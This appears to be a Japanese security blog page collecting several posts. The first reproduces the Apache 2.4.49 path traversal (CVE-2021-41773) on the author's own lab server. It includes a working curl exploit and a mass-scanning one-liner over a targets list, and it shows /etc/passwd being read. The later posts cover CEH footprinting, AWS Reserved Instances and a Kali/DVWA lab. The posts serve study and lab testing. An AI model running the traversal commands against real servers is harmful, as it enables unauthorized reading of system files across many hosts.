Apache2.4.49サーバにパストラバーサルの脆弱性攻撃やってみた
Apache HTTP Server 2.4.49にパストラバーサルの脆弱性が発見されましたね。
🔥 We have reproduced the fresh CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.
— PT SWARM (@ptswarm) 2021年10月5日
If files outside of the document root are not protected by "require all denied" these requests can succeed.
Patch ASAP! https://t.co/6JrbayDbqG pic.twitter.com/AnsaJszPTE
ちょっと面白そうなんで、検証環境を建てて実際にどんな感じで情報をとれるのか確認してみた。
おこなうこととしては以下のようなことをやろうと思っています。(死ぬほど簡易)
環境構築の説明は省きます。
では実際にパストラバーサルってどのようなコマンドで実行できるのか?
Twitterに有力情報が載っていた
CVE-2021-41773 POC 🔥👇
— Rohit Gautam 🤘🏴☠️ (@HackerGautam) 2021年10月5日
✅ One Liner :
cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
上記コマンド内容抜粋
cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
これは、targets.txt
の中にたくさんの攻撃先を記載して一気に情報をとる系のスクリプトみたいになっているように見えるので、今回の検証に必要な部分だけ抜粋。
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
このコマンドの $host
部分を攻撃先のURLに変えちゃえば情報は取れそう。
以下実行結果
[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> </body></html> [Gorill-user@GorillServer ~]$
あれ?passwd
ファイルの情報がぶっこ抜けないっすね…
最初上げた資料をよく見たらある情報が書いてありました。
Apache HTTP サーバー 2.4.49でのパス正規化の変更点に問題が見つかりました。攻撃者はパストラバーサル攻撃を用いてドキュメントroot外のファイルにアクセスすることが出来ます。ドキュメントroot外のファイルが"require all denied"で保護されていない場合にはこのアクセスが成功します。さらにこの問題によりCGIスクリプトのようなファイルのソースが漏洩する可能性があります。
どうやら、Apacheの設定ファイル httpd.conf
内の Require all denied
が有効だと情報は抜かれないようです。
これ、デフォルトで有効な気がするんで変なことしてなかったらこの攻撃ははじけそうですね!
検証のため httpd.conf
の設定を以下から
<Directory /> AllowOverride none Require all denied </Directory>
検証のため httpd.conf
の設定を以下のように変更
<Directory /> AllowOverride none #Require all denied # コメントアウトした </Directory>
再度コマンド実行
[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin libstoragemgmt:x:999:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rngd:x:998:996:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin ec2-instance-connect:x:997:995::/home/ec2-instance-connect:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin chrony:x:996:994::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin Gorilla-user:x:1000:1000:EC2 Default User:/home/Gorilla-user:/bin/bash ssm-user:x:1001:1001::/home/ssm-user:/bin/bash [Gorill-user@GorillServer ~]$
passwd
情報抜き取れましたね!
より必要そうな情報だけ抜いてみる。
[Gorilla-user@GorillServer ~]$ curl --silent --path-as-is --insecure -v "http://GorillaGorillaGorilla.maz/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "http://GorillaGorillaGorilla.maz \033[0;31mVulnerable\n" || echo "http://GorillaGorillaGorilla.maz \033[0;32mNot Vulnerable\n" * Trying 1.1.1.1:80... * Connected to GorillaGorillaGorilla.maz (1.1.1.1) port 80 (#0) > GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 > Host: GorillaGorillaGorilla.maz > User-Agent: curl/7.76.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 06 Oct 2021 04:45:41 GMT < Server: Apache/2.4.49 (Unix) < Last-Modified: Wed, 06 Oct 2021 03:12:30 GMT < ETag: "54f-5cda68441729d" < Accept-Ranges: bytes < Content-Length: 1359 < { [1359 bytes data] * Connection #0 to host GorillaGorillaGorilla.maz left intact root:x:0:0:root:/root:/bin/bash operator:x:11:0:operator:/root:/sbin/nologin http://GorillaGorillaGorilla.maz \033[0;31mVulnerable\n [Gorilla-user@GorillServer ~]$
こんな感じでいろいろ情報は取れそうです。
【CEHのお勉強】フットプリンティングって何? WEB編
この記事は マイナビ Advent Calendar 2020 の23日目の記事です。
最近CEHの取得を目指しいろいろと勉強しています。
CEHの試験範囲にあるフットプリンティングについて個人的にまとめてみました。
今回は検索エンジンで調べられるものやWEBサイトからのフットプリンティングのお話しです。
フットプリンティングとは
特定のターゲットネットワークにサイバー攻撃を行う前の事前準備や攻撃対象を下調べする行為のこと。
コンピュータやWebページ内の脆弱性が無いかを調査したり、検索エンジンや公開データベース、SNSまたはツールを用いて攻撃に必要な情報を収集したりする。
フットプリンティングは以下の2種類存在するといわれています。
- 受動的フットプリンティング
- ターゲットに接触せずに情報収集すること。
- 能動的フットプリンティング
- ターゲットに直接接触して情報収取すること。ソーシャルエンジニアリングとかがそれ
フットプリンティングの目的と取得できる主な情報
サイバー攻撃をおこなうためのに必要な対象のセキュリティ体制の調査や攻撃対象の絞り込み、脆弱性の特定などをおこなうことを目的に様々な情報を取得していきます。
攻撃者は以下に記載した、組織、ネットワーク、システムの情報の取得を狙っております。
- 組織情報
- 従業員の情報
- 電話番号
- 会社の場所 など
- ネットワーク情報
- システム情報
- サーバのOS情報
- WEBサーバの場所
- ユーザやパスワード情報 など
WEBブラウザを使ったフットプリンティングの方法
ここでは検索エンジンは基本Chromeメインで記載してます。
検索エンジンを利用したフットプリンティング
よく利用されているもの
Google Hacking Databaseは様々な検索クエリが乗ってあるソースサイトです。
公開された、CVE準拠の脆弱なソフトウェアアーカイブも見れます。
www.exploit-db.com
WEBサービスの利用したフットプリンティング
攻撃者が様々なWEBサービスを利用して収集できる情報をまとめてみました。
- トップレベルドメインとサブドメの情報収集
- whoisとか企業HPのURLから推測など
- Google Mapsを利用して地理的場所の特定
- SNSを利用して個人の情報収集
- Linkedlnを利用して従業員情報収集
- ファイナンスサービスから競合他社や株式市場の情報収集
- 求人情報から企業情報を収集
- グループ、フォーラム、及びブログを使用した機密情報収集
- コンテンツ監視サービスを利用したアラートによる個人の最新情報の収集
- Googleアラート機能やTwitterアラート機能など
- OS情報の収集
WEBサイトフットプリンティング
攻撃者はターゲットのWEBサイトを監視、分析することで情報を収集してきやがります。
攻撃者が脆弱なWEBサイトにアクセスしてまず狙う情報
ツールを利用して取得できるヘッダ情報
代表的なツールはZaproxy
、Paros Proxy
などがある
- ステータス情報とコンテンツタイプ
- リクエストヘッダー情報
- Webサーバとそのバージョン情報
HTMLソースからとれる情報
Cookieからとれる情報
- ソフトウェア情報とその挙動
- スクリプトのプラットフォーム情報
WEBスパイダリングという、ターゲットのWEBサイトから特定の情報を自動的に取得できるツールがあります。
主なツールはWeb Data Extractor
かなと思います。
Webサイトをミラーリングして情報を抜き取る荒業もあるようです。
これもまたツールがございます。HTTrack Web Site Copier
とかですかね。
まとめ
今回はWEBフットプリンティングを中心にざっくりまとめました。
あくまで個人用のメモ書きみたいになってます。
次はNWやDNS情報の収集や実際に使われていそうなツール情報をまとめていきたいと思います。
簡単に紹介したツールを実際に試したいなどがあれば、ハッキングラボ環境を建てて試してみるのもいいかもしれません。 過去にAWS環境内でKali Linuxのハッキングラボ環境の作成についてまとめた記事がありますので良ければこちらで試してみてはどうでしょうか?
【AWS】RI(リザーブドインスタンス)とは何かをまとめた記事
この記事は マイナビ Advent Calendar 2020 の16日目の記事です。
仕事でAWSの費用削減を検討した際、RI(リザーブドインスタンス)について調べたので、
そちらを個人的にまとめた記事となります。
RI とは
AWS の各種サービスに対して1年または3年という長期利用を予約することで、 オンデマンドインスタンス料金に比べ利用料金が大幅に割引(最大 75%)される仕組みです。
1年よりも3年の方が割引率が高く設定されています。 サービスやリソースによって多少の例外はありますが、 基本的に「全前払い」「一部前払い」「前払いなし」という3種類の支払い方法が存在し、 原則、購入後に支払い方法を変更することはできません。
簡単に言って、サーバ自体に変更がないものであれば、 決まった期間の利用料だけ安くできる、電車の定期券のような仕組みです。
RI対象のAWS サービス
- EC2
- RDS(Auroraも含む)
- Redshift
- ElastiCache
- DynamoDB
- Elasticsearch Service
RI の利用にあたり
どのAWSサービスにおいても RI 購入後にインスタンスの再起動をする必要はないです。
RI は特定のインスタンスに紐づける仕組みではなく、 所有する RI の適用対象となるオンデマンドインスタンスが稼働していれば AWS によって自動的に割引の適用が開始されます。
また、購入に際して見積書や発注書などのやり取りは必要なく、 各サービスのマネジメントコンソールにて任意のタイミングで必要なものを自由に購入することが可能です。 クラスメソッドに見積代行を依頼している場合は、通常の月額利用料にRIが適応された状態で見積が届きます。
原則、購入時に指定したインスタンスタイプより大きなものへの変更はできないという制限があります。 ただし、t2.xlarge のインスタンスをより小さいt2.large 2台に分割することや、 t2.large 2台をスペックが大きいt2.xlarge のインスタンスとして結合することが制限はありますが可能です。
こちらの結合や分割できる範囲や詳細につきましてはインスタンスサイズの柔軟性に記載されております。
RI 購入時に必要な項目
- コミット期間の指定
- 支払いオプションの指定
- 利用料のコミットメント
- Region指定
- インスタンス ファミリー指定
- インスタンス タイプ指定
- テナンシー指定
- OS(platform) 指定
- AZ(Scope)指定
RI 利用に適したシーン
- 常に起動しているDBやキャッシュサーバ
- 常に起動しているWeb/Appサーバ(通常サービスの最低限必要数)
- ピーク時のスケールアウトはオンデマンド料金で対応することが可能
- RI 購入期間内にインスタンスタイプに大きな変更が起きないもの(EC2はスケールアウトに対応可能)
EC2 RI の提供タイプ「Standard」と「Convertible」の違い
EC2 のみ RI にいくつか提供タイプがございますので、 そちらについては下記に簡単にまとめておきます。
EC2 の RI では「Standard」と「Convertible」という2つの提供タイプがあります。
Standard RIの方が割引率が高く設定されています。 上記しましたが、購入時に指定したインスタンスタイプより大きなものへの変更はできないという制限があるためです。 ただし、t2.xlarge のインスタンスをt2.large 2台に分割することや、t2.large 2台をt2.xlarge へ結合することは可能です。 詳細につきましてはインスタンスサイズの柔軟性に記載されております。
一方、Convertible RIは購入後もインスタンスのスペックアップが可能となっており柔軟性が高いかわりに割引率がStandard RIと比較して少し低く設定されています。 ただし、インスタンスのスペックアップをおこなう際はRI の交換が必要で交換したRI 分の差額費用を支払う必要があります。 一度、スペックアップをおこなった場合はスペックは落とせなくなりますので注意が必要です。
EC2 RI 提供タイプ比較表
Convertible | Standard | |
---|---|---|
期間 | 1年間 or 3年間 | 1年間 or 3年間 |
支払いオプション | 全額前払い or 一部前払い or 前払い無し | 全額前払い or 一部前払い or 前払い無し |
全リージョンに自動適用 | 可能 | 最初に指定したリージョンのみ割引が適応される |
全インスタンス ファミリーに自動適用 | 可能 | 最初に指定したインスタンス ファミリーのみ割引が適応される |
全インスタンスタイプに適用 | 原則、Standard タイプと同じだが、 差額費用の支払いをすることで「異なるインスタンスタイプとの交換」が可能 |
最初に指定したインスタンスタイプのみ割引が適応される ただし、「インスタンスサイズの柔軟性」を保持している |
全テナンシーに適用 | 最初に指定したテナンシーのみ割引が適応される | 最初に指定したテナンシーのみ割引が適応される |
全OS(platform)に適用 | 最初に指定したOS(platform)にのみ割引が適応される | 最初に指定したOS(platform)にのみ割引が適応される |
キャパシティ予約の機能提供 | 可能 ただし「Availability Zone 指定」が必要 |
可能 ただし「Availability Zone 指定」が必要 |
AWS アカウント間の共有無効化 | 可能 可能(SPとRIで共通の設定項目) |
可能 可能(SPとRIで共通の設定項目) |
購入後の交換機能の提供 | 可能 「Tenancy, OS, Family, Type等」で可 |
不可能 |
RI 利用時の注意点
RI 購入時インスタンス ファミリー内の小さいインスタンスタイプから順に適応される
以下公式ドキュメントによると https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/apply_ri.html
インスタンスサイズの柔軟性は、インスタンスサイズの正規化係数によって決定されます。割引は、予約したインスタンスサイズによって、同じインスタンスタイプの実行しているインスタンスに完全、または部分的に適用されます。この場合、一致する必要がある属性はインスタンスタイプ、テナンシー、プラットフォームのみです。
インスタンスサイズの柔軟性は、インスタンスファミリー内の最も小さいインスタンスサイズから大きいインスタンスサイズへ、正規化係数に基づいて適用されます。
インスタンスファミリーが同じであれば最も小さいインスタンスサイズから大きいインスタンスサイズへ適用されるようです。
なので、t2.xlarge のRI を購入しているアカウントで、t2.xlarge のEC2 1台とt2.large のEC2 1台がある場合、 小さいインスタンスタイプから割引が適応されますのでt2.large のEC2 1台のみに割引が適応され RI を適用する想定だったt2.xlarge インスタンスの月額料金の半分しか減額されていというような現象が起こる可能性があります。
こちらは特定のAZ を指定して購入したRI 、ベアメタル、占有テナントのRI 、 Windows 系インスタンス、RHEL 、および SLES のRI には適用されないようです。
RI 購入・再購入について
長期利用を前提として料金の割引が提供されるため、購入後のキャンセルはできません。 購入対象の選定や、購入時の操作は慎重に行う必要があります。
また、購入から1年または3年が経過し、有効期限が切れる(切れた)RI については、 RI は通常では「自動更新」という機能以前に「更新」という考え方がないため、 継続して RI を利用したい場合は「再度購入する」必要があります。
RIの購入手続きを実施には、数分から数時間の購入処理による待機時間が発生しますが即日適用されますので、 例えば、昨年4月1日に購入したRI と同じ内容をさらに一年継続したい場合には、 3月末日に購入するか4月1日に購入するのが最もコスト効率の良い方法となります。
別の方法として、既存のRI が期限切れになる頃の購入予約をキューに入れることができます。 これにより、サービスを切れ目なくRI を利用することもできます。
RI の購入予約をキューに入れる場合、リージョンは指定できますが、 ゾーンを指定したRI の購入予約や、他の販売者からのRI の購入予約を行うことはできません。
購入予約は3年先までキューに入れることができます。 予約した日時に、デフォルトの支払い方法を使用して購入が実行されます。 支払いが正常に行われると、割引が適用されます。
補足: 再度購入のタイミングとシステムの改修、更新時期を揃えると、 最新のインスタンスファミリーへの移行やスペック変更によって発生する オンデマンド料金をより削減しやすくなるかと思います。
同じ組織の別アカウントに自動的に適用されてしまう
RI はデフォルトで、組織のすべてのアカウントにRI の共有がオンになります。 AWSの利用が増えていくと組織単位でいくつかのアカウントを所持して運用していくこともあるかと思います。 この設定がオンの状態だと適応予定だったインスタンスではなく、別アカウントで運用しているインスタンスに割引が 適応されしまう恐れがあります。
この設定は、アカウントのリザーブドインスタンスの共有をオフにすることが可能ですので、 アカウント間で共有予定がない場合はオフにするようにしてください。
RI とインスタンスID の紐付きについて
インスタンスを作成すると固有のID が付きますが、RIはインスタンスのユニークID 単位での課金ではありません。
RIの概念は購入したインスタンスサイズの利用権です。「t2.large の利用権」を購入すると、アカウント内にt2.large インスタンスが存在すれば自動的に割引されます。インスタンスの作り直しを行ってID が変わっても割引条件に合致していれば適用されます。
t2.large のRI インスタンスを4台購入した場合は、t2.large のインスタンス4台分の利用料に割引が適応されます。 4台分割引が適応されている状態で、別のt2.large のインスタンスを新しく作成した場合は 新しく作成されたインスタンスはオンデマンドの利用料となります。
インスタンスの稼働・停止時の料金について
RI は、一定期間分の料金を定額で支払う仕組みです。従ってインスタンスを削除する等で存在しない場合でも、その期間の払戻しは一切されませんので注意が必要です。
購入したRI のスペックを変更したらどうなるのか
購入したRI と異なるタイプやサイズに変更すると割引適用されなくなり、変更後のインスタンスにはオンデマンド料金が課金されるようになります。 原則としてサイズ変更後のインスタンスにあったRIを新規に購入する必要がありますのでご注意下さい。
有効期限の違うRI は結合はできません
t2.large 2台をスペックが大きいt2.xlarge のインスタンスに結合が可能と記載しましたが、 有効期限が同じt2.large 2台であればt2.xlarge へ結合は可能ですが、 有効期限が違う別のRI で購入した同じインスタンスタイプのt2.large 2台を結合することは不可能です。
購入時の注意点
購入したRI と実際に立ち上げたインスタンスが異なると割引が適用されません。 RI の買い間違えをすると、適用にならなかったインスタンスはオンデマンドの料金が課金されてしまいます。t2.large のRI を購入したのに、間違えて実際はt3.large を作成し起動していたりすると t3.large は通常のオンデマンド料金が請求されて来ます。
AWS環境にKali Linuxを建てて遊ぶ方法
この記事は マイナビ Advent Calendar 2020 の7日目の記事です。
Kali LinuxをAWS環境で建てて、脆弱性診断やセキュリティの勉強をしたい人向けに僕が実際に建てたハッキングラボ環境を簡単に紹介しようと思います。
準備するもの
VPCの作成
そんなに難しいことではないので今回は詳しい説明は省いちゃいます。 VPCの作成やその他NW設定系が初めての方は以下を参考に作るといいかと思います。 dev.classmethod.jp
ザックリ以下のようなことができればいいのかなと思います。
Kali Linux EC2の作成
今回はAWS Marketplaceにある以下のAMIを利用してEC2を構築していきます。
(スクショを取ったタイミングが更新前のものなので今はAMIの画像が違います。)
aws.amazon.com
まずは、AWSコンソール開きEC2の画面で[インスタンスの作成]を選択します。
インスタンスの作成画面に移ったら[AWS Marketplace]を選択します。
選択するとこのような画面に移ると思います。
[Kali Linux]で検索をおこなうと対象のAMIが出てきますのでこれを利用していきます。
AMIを選択するとだいたいこれぐらいのお金がかかりますよ~といったアナウンス画面が出てきます。
Kali Linuxは基本EC2の利用料金しかかかりませんのであまり気にしなくても問題ないかと思いますが念のため確認しておくといいでしょう。
あとはいつも通りのEC2作成方法になるかと思いますので、今回は省略しちゃいます。
ベンダー推奨スペックはt2.medium
となっていますので検証とかに別にお金使ってもいいや~と思う方は推奨スペックで構築することをお勧めします。
推奨より低いスペックだとどのようになるかは調べてません。。。
EC2を作ったことがない方は以下を参考作成してください。
※注意点ですが、利用するAMIは上記しているAWS MarketplaceにあるAMIを利用してください。
dev.classmethod.jp
EC2を作成したら任意の方法でサーバにログインし、いろいろ見てみます。
まずは、以下のコマンドで現在利用可能なツールを確認します。
※EC2ですがこれはkali Linuxです。ec2-userではログインできません。初期ログイン時はユーザ名 kali
:パスワードkali
でログインしてくださいね。
(ちなみに以下の手順は基本デフォルトシェルをいじっております…実際の画面とちょっと差異があるかもです。)
kali@kali:~$ sudo -s root@kali:/home/kali# root@kali:/home/kali# dpkg -l
これで見てみるとわかるのですが、
このAMIで建てたKaliは何のツールも初期では入っていないようです。
なので、必要なツールがあれば都度インストールしていく必要があります。
Kali Linux自体はAMIから立ち上げてツールをインストールしたらすぐに使えます。
Kali Linuxで利用できるツールは以下にまとまっていますので、ここを見て必要なツールを確認するといいかもしれません。簡単なツールの実行手順とかも載っていますのでこれを見ていろいろなツールを使ってみてください。 tools.kali.org
簡単な脆弱性試験ならNikto
がおすすめです。
今回はNikto
のインストールと実行までやってみようと思います。
tools.kali.org
Nikto
のインストール
root@kali:/home/kali# apt-get install nikto
ここまで来たら次は攻撃用のサーバを作成していきます。
テスト用Attackサーバの作成
EC2サーバを1つ用意します。
このEC2は初期設定をおこなうため、Kali Linux用のパブリックサブネットに一時的にEC2を建てます。
攻撃用に脆弱性のあるサーバを建てるのに最適な練習用WEBアプリDVWAを利用しようと思います。 www.dvwa.co.uk
DVWAはPHP、MySQLで構築された脆弱性のあるWebアプリケーションで、SQLインジェクションやXSSのテスト用に利用することができます。
環境構築のため、EC2にログインします。
ログインしたらまず、DVWAに必要なソフトウェアをインストールします。
$ sudo yum update $ sudo yum install mariadb-server php php-mysqli php-gd git httpd
DVWAをインストールします。
$ git clone https://github.com/ethicalhack3r/DVWA.git
ファイルの確認
$ ls -ls total 4 4 drwxrwxr-x 9 user user 4096 Aug 27 06:48 DVWA
DVWAファイル群をWEB領域に移動します。
$ sudo mv DVWA /var/www/html $ ls /var/www/html |grep DVWA DVWA
DVWAのコンフィグの有効化をおこないます。
$ ll /var/www/html/DVWA/config/ total 4 -rw-rw-r-- 1 user user 1799 Dec 4 10:09 config.inc.php.dist $ sudo mv /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php $ ll /var/www/html/DVWA/config/ total 4 -rw-rw-r-- 1 user user 1799 Dec 4 10:09 config.inc.php
httpd.conf
のドキュメントルートの変更をおこないます。
$ sudo vim /etc/httpd/conf/httpd.conf 変更前 ~~~~~~~~~~~~~~~~~~~~~~~ DocumentRoot "/var/www/html" ~~~~~~~~~~~~~~~~~~~~~~~ 変更後 ~~~~~~~~~~~~~~~~~~~~~~~ DocumentRoot "/var/www/html/DVWA" ~~~~~~~~~~~~~~~~~~~~~~~
$ sudo systemctl start httpd $ sudo systemctl start mariadb
後に隔離領域に移動しますのでApacheとMySQLの自動起動設定も入れておきます。
$ sudo systemctl enable httpd.service $ sudo systemctl enable mariadb
接続確認のためDVWAにブラウザアクセスをおこないます。
EC2のパブリックDNS名でログイン可能です。(Kali Linux用のパブリックサブネットにEC2を建てていたら)
MySQLからアカウント登録をおこなっていきます。
ここで設定したMySQLのアカウントですがDVWAの初期アカウントになっております。変更したい場合はGRANT
文を以下に用意しておいたのでそれに従って設定の変更してください。少しでもセキュアにしたい場合は変更をお勧めします。
$ mysql -u root -p Enter password: パスワードを入力 ↑の流れできていればEnterで入れちゃいます Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 2 Server version: 5.5.68-MariaDB MariaDB Server Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [mysql]> GRANT ALL PRIVILEGES ON *.* TO 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; Query OK, 0 rows affected (0.00 sec) MariaDB [mysql]> exit Bye
セキュアにしたい人用のGRANT
文です。
MariaDB [mysql]> GRANT ALL PRIVILEGES ON *.* TO '任意のユーザ名'@'localhost' IDENTIFIED BY '任意のパスワード';
また、GRANT
文を初期から変更した方は以下のDVWAのconfig.inc.php
ファイルもあわせて変更する必要があります。
$ sudo vim /var/www/html/DVWA/ 変更前 ~~~~~~~~~~~~~~~~~~~~~~~ $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = 'dvwa'; $_DVWA[ 'db_password' ] = 'p@ssw0rd'; $_DVWA[ 'db_port'] = '3306'; ~~~~~~~~~~~~~~~~~~~~~~~ 変更後 ~~~~~~~~~~~~~~~~~~~~~~~ $_DVWA[ 'db_server' ] = '127.0.0.1'; $_DVWA[ 'db_database' ] = 'dvwa'; $_DVWA[ 'db_user' ] = '変更したユーザ名'; $_DVWA[ 'db_password' ] = '変更したパスワード'; $_DVWA[ 'db_port'] = '3306'; ~~~~~~~~~~~~~~~~~~~~~~~
DVWAにブラウザアクセスをおこない、下の方にあるCreate/Reset Database
をクリックしてDVWAのデータベースを作成します。
問題なければ以下の画面が出てくるかと思います。
DVWAにユーザ名admin
:パスワードpassword
でログインをおこないます。
無事にログインができたらテスト用Attackサーバ(DVWA)の作成は完了です。
セキュアなサブネットに移動する
先ほど作成したテスト用Attackサーバ(DVWA)のEC2をAMI化します。
作成方法がわからない方は以下を見ながらやれば問題なく作成はできると思います。
docs.aws.amazon.com
作成したAMI利用し、Kali LinuxからのみHTTP/HTTPSできるセキュアなサブネットにEC2作成します。
EC2を作成できたらあとはこのEC2へNikto
を実行するだけです。
Kali LinuxからNiktoの実行
再度、Kali Linux EC2にログインをします。
ログインしたら以下のコマンドでNikto
を実行してみましょう。
kali@kali:~$ sudo -s root@kali:/home/kali# nikto -o report.html -Format htm -host http://ec2のDNS名 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: EC2のIP + Target Hostname: EC2のDNS名 + Target Port: 80 + Start Time: 2020-12-04 12:37:38 (GMT0) --------------------------------------------------------------------------- + Server: Apache/2.4.46 () PHP/5.4.16 + Cookie PHPSESSID created without the httponly flag + Retrieved x-powered-by header: PHP/5.4.16 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Root page / redirects to: login.php + PHP/5.4.16 appears to be outdated (current is at least 7.2.12). PHP 5.6.33, 7.0.27, 7.1.13, 7.2.1 may also current release for each branch. + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /config/: Directory indexing found. + /config/: Configuration information may be available remotely. + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3268: /docs/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + /login.php: Admin login page/section found. + OSVDB-3092: /.git/index: Git Index file may contain directory listing information. + /.git/HEAD: Git HEAD file found. Full repo details may be present. + /.git/config: Git config file found. Infos about repo details may be present. + /.gitignore: .gitignore file found. It is possible to grasp the directory structure. + 8828 requests: 0 error(s) and 20 item(s) reported on remote host + End Time: 2020-12-04 12:38:32 (GMT0) (54 seconds) --------------------------------------------------------------------------- + 1 host(s) tested ********************************************************************* Portions of the server's headers (Apache/2.4.46) are not in the Nikto 2.1.6 database or are newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo@cirt.net) (y/n)? y + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The site uses SSL and the Strict-Transport-Security HTTP header is not defined. + The site uses SSL and Expect-CT header is not present. - Sent updated info to cirt.net -- Thank you! root@kali:/home/kali# ls |grep report.html report.html
Nikto
の実行が完了したら作成したreport.html
を開きます。
(僕はSCP
でローカルに持ってきたりしました。)
ほとんど隠さないといけない情報になっちゃいましたがこんな風に脆弱性情報が出てきます。
ざっくりですが、これができれば他にもいろいろなKali Linuxのツールが試せますので、いろいろ試していただければと思います!
☆付録☆EC2に建てたKali LinuxにRDP接続する方法
GUIの設定をおこないます。
kali@kali:~$ sudo apt install nvidia-driver nvidia-cuda-toolkit -y
kaliのデスクトップ設定を入れます。
kali@kali:~$ sudo apt-get install kali-desktop-xfce xorg xrdp -y
上記の設定はインストールに結構時間がかかると思います。
xrdp
をインストールします。
kali@kali:~$ sudp apt install xrdp
RDPもセキュアにおこないたいので以下のようにコンフィグを書き換えます。
SSHポートフォワーディングを利用してRDPおこなう想定の設定となります。
kali@kali:~$ sudo vim /etc/xrdp/xrdp.conf 変更前 ~~~~~~~~~~~~~~~~~~~~~~~ ; port=vsock://: port=3389 ~~~~~~~~~~~~~~~~~~~~~~~ 変更後 ~~~~~~~~~~~~~~~~~~~~~~~ ; port=vsock:// : port=tcp://127.0.0.1:3389 ~~~~~~~~~~~~~~~~~~~~~~~
設定を反映させるためにxrdp
を再起動します。
kali@kali:~$ sudo systemctl restart xrdp
先ほど設定したポートがリッスンしているか確認します。
kali@kali:~$ netstat -an | grep 3389 tcp 0 0 127.0.0.1:3389 0.0.0.0:* LISTEN
xrdp
の自動起動設定をおこないます。
kali@kali:~$ sudo systemctl enable xrdp
RDP元のPCにSSHポートフォワーディング設定をおこないます。
> ssh -L 13389:localhost:3389 kali@EC2のIP -i 鍵の保管場所のパス
localhost:13389
にRDPをおこなえば接続できるかと思います。
参考資料 mittaltarun9715.medium.com
まとめ
この環境を建てればいろいろセキュリティの勉強に使えたりしますのでいろいろ勉強に役立つかなと思います。
※「ハッキング・ラボのつくりかた」の環境にも対応可能です
AWS環境下での勉強時に注意したほうがいい内容は以下にまとまってますのでまず一読いただいて試してもらえればと思います。 下手したらアカウントロックされちゃう可能性もあるので注意は必要かと思います。 aws.amazon.com
今後はKali Linuxのツールについてもまとめていこうと思っております。
コロナによる在宅ワークで話題になったZoomセキュリティネタまとめ
新型コロナウイルス(COVID-19)の流行により、在宅ワークをおこなう方が多くなったかと思います。
